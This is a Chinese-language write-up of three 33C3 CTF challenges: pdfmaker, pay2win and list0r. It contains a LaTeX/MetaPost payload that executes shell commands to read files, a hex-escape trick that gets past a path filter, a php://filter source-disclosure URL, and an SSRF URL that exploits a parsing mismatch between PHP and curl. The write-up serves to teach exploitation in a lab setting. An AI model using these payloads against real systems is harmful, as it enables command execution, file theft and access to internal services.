33c32016 writeup

LoRexxar

发布于 2023-02-21 15:17:52

3390

发布于 2023-02-21 15:17:52

16年的最后几天看了看33c3的题目…没想到的是这个比赛质量奇高，ctftime最后权重超过90，可惜期末了所以来不及好好打，还是挺可惜的….

pdfmaker

pdfmaker (75)

Solves: 133

Just a tiny application, that lets the user write some files and >compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

先贴一篇别人的博客 https://github.com/EdwardPwnden/ctf-2016/tree/master/33c3/pdfmaker

代码如下

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess

class PdfMaker:

  def cmdparse(self, cmd):
    fct = {
      'help': self.helpmenu,
      '?': self.helpmenu,
      'create': self.create,
      'show': self.show,
      'compile': self.compilePDF,
      'flag': self.flag
    }.get(cmd, self.unknown)
    return fct

  def handle(self):
    self.initConnection()
    print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
    instruction_counter = 0
    while(instruction_counter < 77):
      try:
        cmd = (raw_input("> ")).strip().split()
        if len(cmd) < 1:
           continue
        if cmd[0] == "exit":
          self.endConnection()
          return
        print self.cmdparse(cmd[0])(cmd)
        instruction_counter += 1
      except Exception, e:
        print "An Exception occured: ", e.args
        self.endConnection()
        break
    print "Maximum number of instructions reached"
    self.endConnection()

  def initConnection(self):
    cwd = os.getcwd()
    self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    while os.path.exists(self.directory):
      self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    os.makedirs(self.directory)
    flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) +  "%X" % randint(0, 2**31)
    copyfile("flag", flag)


  def endConnection(self):
    if os.path.exists(self.directory):
      rmtree(self.directory)

  def unknown(self, cmd):
    return "Unknown Command! Type 'help' or '?' to get help!"

  def helpmenu(self, cmd):
    if len(cmd) < 2:
      return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
    if (cmd[1] == "create"):
      return (" Create a file. Syntax: create TYPE NAME\n"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
              " NAME: name of the file (without type ending)\n"
              " The created file will have the name NAME.TYPE")
    elif (cmd[1] == "show"):
      return (" Shows the content of a file. Syntax: show TYPE NAME\n"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
              " NAME: name of the file (without type ending)")
    elif (cmd[1] == "compile"):
      return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
              " NAME: name of the file (without type ending)")

  def show(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help show' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    if full_filename.startswith(self.directory) and os.path.exists(full_filename):
      with open(full_filename, "r") as file:
        content = file.read()
    else:
      content = "File not found."
    return content

  def flag(self, cmd):
    pass

  def create(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help create' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)
    
    if not full_filename.startswith(self.directory):
      return "Could not create file."

    with open(full_filename, "w") as file:
      print "File created. Type the content now and finish it by sending a line containing only '\q'."
      while 1:
        text = raw_input("");
        if text.strip("\n") == "\q":
          break
        write_to_file = True;
        for filter_item in ("..", "*", "/", "\\x"):
          if filter_item in text:
            write_to_file = False
            break
        if (write_to_file):
          file.write(text + "\n")
    return "Written to " + filename + "."

  def compilePDF(self, cmd):
    if (len(cmd) < 2):
      return " Invalid number of parameters. Type 'help compile' to get more info."
    filename = cmd[1] + ".tex"
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    print full_filename
    if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
      return "Could not compile file."

    print pipes.quote(full_filename)
    compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
    compile_result = subprocess.check_output(compile_command, shell=True)
    return compile_result

def signal_handler_sigint(signal, frame):
  print 'Exiting...'
  pdfmaker.endConnection()
  sys.exit(0)

if __name__ == "__main__":
  signal.signal(signal.SIGINT, signal_handler_sigint)

  pdfmaker = PdfMaker()
  pdfmaker.handle()

稍微研究一下代码，可以发现几个功能 1、create可以创建log, tex, sty, mp, bib后缀的文件，并写入内容 2、内容会经过一次过滤"..", "*", "/", "\\x"，这些内容都会被过滤掉 3、show方法可以显示后缀为log, tex, sty, mp, bib的内容 4、compile方法可以把tex后缀的文件编译为pdf，遵循的是pdflatex语法

具体语法可以看 http://theoval.cmp.uea.ac.uk/~nlct/latex/pdfdoc/pdfdoc/pdfdoc.html

命令执行读文件

事实上，latex语法中是可以执行shell命令的，具体可以看这篇文章

https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

类似于这样\immediate\write18{ls>out.log}，无奈的是，这个方法已经被禁用了

幸运的是，我们还可以创建md格式的create mp test

verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
\q

然后写入tex文件，编译执行命令，有个值得注意的是如果直接执行cat file > xxx.log并不会执行，其中空格必须使用${IFS}来替换，调用bash来执行命令，具体如下：

 create tex lol

\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini \"-tex=bash -c (cat${IFS}$(find${IFS}.))>ls.log\" \"test.mp\"}
\end{document}
\q

接着编译，查看对应的log，就可以得到flag了

33C3_pdflatex_1s_t0t4lly_s3cur3!

读文件方式

除了编写md格式执行命令以外，事实上还有更多办法来读取文件获取flag，也许你觉得文件名未知，我们没办法来读取flag，但也许你忘记了../../flag这里还有一个flag。

核心问题在于如何绕过..的过滤

在pdflatex语法中，可以用^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67来代替../../flag，那么脚本如下

payload = """
\documentclass{article}
\\begin{document}
Hello world, this is \LaTeX
\\newwrite\outfile
\openout\outfile=out.log
\\newread\\file
\openin\\file=^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67
\\read\\file to\\fileline
\write\outfile{\\fileline}
\closein\\file
\closeout\outfile
\end{document}
\q
"""

编译读取既可

pay2win

pay2win – Web
Do you have enough money to buy the flag?

整个题目做起来很难受，做了感觉非常像是强行出题…

首先进去我们发现能够购买cheap和flag两个，需要输入一个合理的信用卡号，网上随便找一个信用卡就可以购买cheap，但购买flag时候，就会显示额度不够，然后，这时候理所当然的以为要找个额度大于20万的信用卡号，于是研究了一夜的信用卡种类…

但仔细想可以想到，主办方应该是没有办法判断信用卡的额度的，所以重新审视题目，我们发现如果购买成功的话，data的数据块会发生变化

image_1b5a4fdv5nso1euk4171vh61sk69.png-352.1kB

我们发现按照刚好可以8bit一分，然后购买成功后，中间的部分会发生变化

反复修改可以找到所谓储存文件名的部分，修改那部分getflag。

list0r

ctftime上有2篇文章还是蛮不错的。

https://dollberg.xyz/ctf/2016/12/29/33C3-CTF-list0r/

https://github.com/p4-team/ctf/tree/master/2016-12-27-33c3/web_400_list0r

打开之后随便逛逛，就能发现所有页面是通过包含进来的，那么我们可以通过伪协议来读源码

http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile

不得不说，这是个蛮大的站，零零散散功能非常多，但是，仔细观察发现一个比较弱的函数，在functions.php里

function verify_password($username, $password) {
        global $redis;

        $user_id = $redis->hget("users", $username);
        if ($user_id) {
            $real_pass = $redis->hget("user:$user_id", "password");
            return $user_id;
        }
        return FALSE;
    }

我们能注意到，这里并没有验证密码，我们可以直接登陆admin用户，进入到用户后，我们发现list有几个提示

image_1b5f9kuqrqaqq4pdolislj9tm.png-43.2kB

我们知道了flag的位置，直接访问我们发现

image_1b5f9mhh41hvf13b0jgq19sv14tc13.png-18.8kB

稍微试下发现这个东西是绕不过去的，所以找找别的东西吧

很快就能发现，这个头像处可以通过提交链接来得到内容，如果我们能绕过这里的话，我们可以成功的构造一个ssrf

image_1b5fa0r9f1tl385i1qc3nj6o2d1g.png-46.1kB

看看代码

if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
    $pic = get_contents($_POST["pic"]);
    if (!is_image($pic)) {
        die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
    } else {
        $pic_name = "profiles/" . sha1(rand());
        file_put_contents($pic_name, $pic);
    }
}

有个比较关键的是get_content

function in_cidr($cidr, $ip) {
    list($prefix, $mask) = explode("/", $cidr);

    return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}

function get_contents($url) {
    $disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];

    do {
        $url_parts = parse_url($url);

        if (!array_key_exists("host", $url_parts)) {
            die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
        }

        $host = $url_parts["host"];

        if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            $ip = $host;
        } else {
            $ip = dns_get_record($host, DNS_A);
            if (count($ip) > 0) {
                $ip = $ip[0]["ip"];
                debug("Resolved to {$ip}");
            } else {
                die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
            }
        }

        foreach ($disallowed_cidrs as $cidr) {
            if (in_cidr($cidr, $ip)) {
                die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
            }
        }

        // all good, curl now
        debug("Curling {$url}");
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL 
            & ~CURLPROTO_FILE 
            & ~CURLPROTO_SCP); // no files plzzz
        curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz

        $data = curl_exec($curl);

        if (!$data) {
            die("<p><h3 style=color:red>something went wrong....</h3></p>");
        }

        if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
            die("<p><h3 style=color:red>Timeout!! thats a slowass  server</h3></p>");
        }

        // check for redirects
        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    } while (1);
}

仔细看，我们很容易发现，其实存在一些问题，如果获取的内容不是图片，则会显示出来，那么看来，这就是官方留给我们获取flag的方式，那么问题就在于怎么绕过get_content的验证了。

我们发现，貌似是拦截了任何请求本地的方式，但是ip的验证是通过parse_url来判断的，请求是通过curl完成的。

这里提到了2种方式来解决，首先是第一种，通过提供用户名密码的绕过方式，payload：

http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag

php 将会这么解析

array (
  'scheme' => 'http',
  'host' => '33c3ctf.ccc.ac',
  'user' => 'what',
  'pass' => 'ever@127.0.0.1:80',
  'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)

但是在curl看来并不是这样的，链接会被解析为，what是用户名，ever是密码，host为127….

所以我们获取得了flag

还有一种看上去是通过所谓的负载均衡的实现的，但具体不是很清楚，不知道怎么实验一下